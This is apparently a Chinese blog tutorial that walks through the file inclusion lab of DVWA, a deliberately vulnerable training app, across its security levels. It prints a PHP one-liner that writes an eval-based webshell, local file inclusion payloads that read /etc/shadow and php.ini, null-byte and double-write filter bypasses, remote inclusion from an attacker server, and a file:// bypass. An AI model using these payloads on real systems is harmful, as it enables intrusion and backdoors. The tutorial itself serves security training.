Dvwa 文件包含漏洞:保姆级操作

2 篇文章 0 订阅

Dvwa 文件包含漏洞

原理部分:

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。最常见的就属于本地文件包含(Local File Inclusion)漏洞了。

通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶意代码注入
当包含文件在服务器本地上,就形成本地文件包含,当包含的文件在第三方服务器是,就形成可远程文件包含。

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、http://ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。
在PHP中经常出现包含漏洞,但这并不意味着其他语言不存在。

常用的文件包含函数:
include或include_once一般用于动态包含,所谓动态包含就是根据不同条件包含不同文件
require或require_once一般用于静态包含,比如包含一个html文件的头部或者尾部 如:require_once footer.inc.php
include和require可以包含多次,include_once和require_once只包含一次

分为远程文件包含和本地文件包含:
远程文件包含和本地文件包含的配置区别

本地文件包含php.ini配置文件中开启allow_url_include
远程文件包含与本地文件包含的区别(开启allow_url_include和allow_url_fopen )
远程文件(包括本地文件包含)包含比本地文件包含的危害大

开始演示:

网页所期望用户所进行的操作:
在这里插入图片描述
分别点击file1.php,file2.php,file3.php;
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现3个页面除了文件的内容不同外,最大的不同就是url中page的参数不同。
在这里插入图片描述
而在现实中,恶意的攻击者是不会按照网站建设者的意愿点击这些链接的,因此page参数是不可控的

Low级别

Low级别源码:
在这里插入图片描述
可以看到,服务器端对page参数没有做任何的过滤跟检查。

在此环境中,服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。特别的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

本地文件包含:

构造url
判断服务器系统类型
(或者包含一个不存在的文件,在Low级别也能暴露出网站的绝对路径)

?page=/etc/shadow   

(/etc/shadow是Linux账户密码文件)
在这里插入图片描述
这里暴露了绝对路径C:/phpStudy/WWW/DVWA-master
于是我们可以看看php.ini配置文件的信息

?page=C:/phpStudy/WWW/DVWA-master/php.ini

在这里插入图片描述
同时我们看到,配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是文件名中%00后的内容不会被识别,即下面两个url是完全等效的:

?page=…/…/…/…/…/…/phpStudy/WWW/DVWA-master/php.ini

?page=…/…/…/…/…/…/phpStudy/WWW/DVWA-master/php.ini%00xx.php

使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时第一个链接会读取失败,而第二个链接可以绕过规则成功读取。
再试着执行:

?page=C:/phpStudy/WWW/DVWA-master/phpinfo.php

在这里插入图片描述
发现文件包含不仅可以读取已有文件,还可以执行文件。

制作一句话木马,借用文件上传漏洞
在这里插入图片描述在这里插入图片描述
可以看到我们已经上传成功,并且该图片木马存放在…/…/hackable/uploads/0.jpg路径下;
验证一下是否真的传上了:
在这里插入图片描述
已经放在本地了;
我采用的一句话木马为:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

图片执行解析后会产生一个shell.php的文件;
所以我们来执行解析一下:
在这里插入图片描述
都是乱码(因为不是php文件所以直接打印的),说明我们的shell.php文件应该已经生成完成,为我们留下了后门;
下面我们用蚁剑来尝试连接一下;

在这里插入图片描述
测试连接:

在这里插入图片描述
在这里插入图片描述
我们就可以用这个后门做一些事情了,不过我们就只看看文件就行了;
在这里插入图片描述
我们可以看到已经成功进来了;
发现一个没在网页上见到的file4.php点开康康:

在这里插入图片描述
“Good job”,针不戳;

远程文件包含:

我在我的物理机上简单搭建了一个服务器(当作服务器吧…)
在这里插入图片描述
先简单地调一下phpinfo:
补充一下:这里使用txt文件,是因为txt格式文件执行的服务器是受害者服务器而php格式执行的服务器是攻击者的服务器!----这样操作我们就可以读取phpstudy探针文件进行信息搜集;

在这里插入图片描述
直接在page后面填上远程链接地址就可以了;

在这里插入图片描述
可以看到执行成功了;
可以看到我们webshell中写的一句话木马,为了和之前本地的shell做出区别,这里创建shell0.php:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到是显示的空白,不着急,我们用蚁剑看看;

在这里插入图片描述
记得要改成shell0.php;测试连接成功;

在这里插入图片描述
成功进来了,并且可以看到我们之前本地上传生成的shell.php;

Medium

服务器代码

在这里插入图片描述
可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,就是删除。

但是呢,使用str_replace函数是极其不安全的,可以使用双写绕过替换规则;
因为替换的只是“…/”、“…\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的;
本地包含不受影响,所以操作跟low级别一样,不再赘述;(如果没有采取绝对路径而是用…/…/这种相对路径就需要进行双写绕过)

我们直接进入远程文件包含:

远程文件包含:

我们在远程服务器上的webshell1,内容是创建一个shell1.php;

在这里插入图片描述
在这里插入图片描述

这里采用一下双写就行了;
执行…还是熟悉的空白;
在这里插入图片描述
老规矩,我们用蚁剑看一看:
不出意外,我们又进来了,熟悉的界面:
在这里插入图片描述
多了我们新创建的shell1.php;

High

服务器代码;
在这里插入图片描述可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
看似安全,不幸的是我们依然可以利用file协议绕过防护策略。其实当我们用浏览器打开一个本地文件时,用的就是file协议;

用最开始看到的绝对路径看看:

在这里插入图片描述
在这里插入图片描述

对比之前低级别所打开的文件对比一下:

在这里插入图片描述

调用成功;

在这里插入图片描述

调用php.ini也可以实现;

但是高级的file限制好像应该是限制了远程文件包含(现在还不知道怎么用file附上远程);
但是借用本地上传的漏洞(与低级别的时候操作相同)仍然可以实现留下后门;

最后可以看一看最高级别:

Impossible

服务器代码;
在这里插入图片描述
可以看到,Impossible级别的代码居然直接使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞,寄了,BBQ了;

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值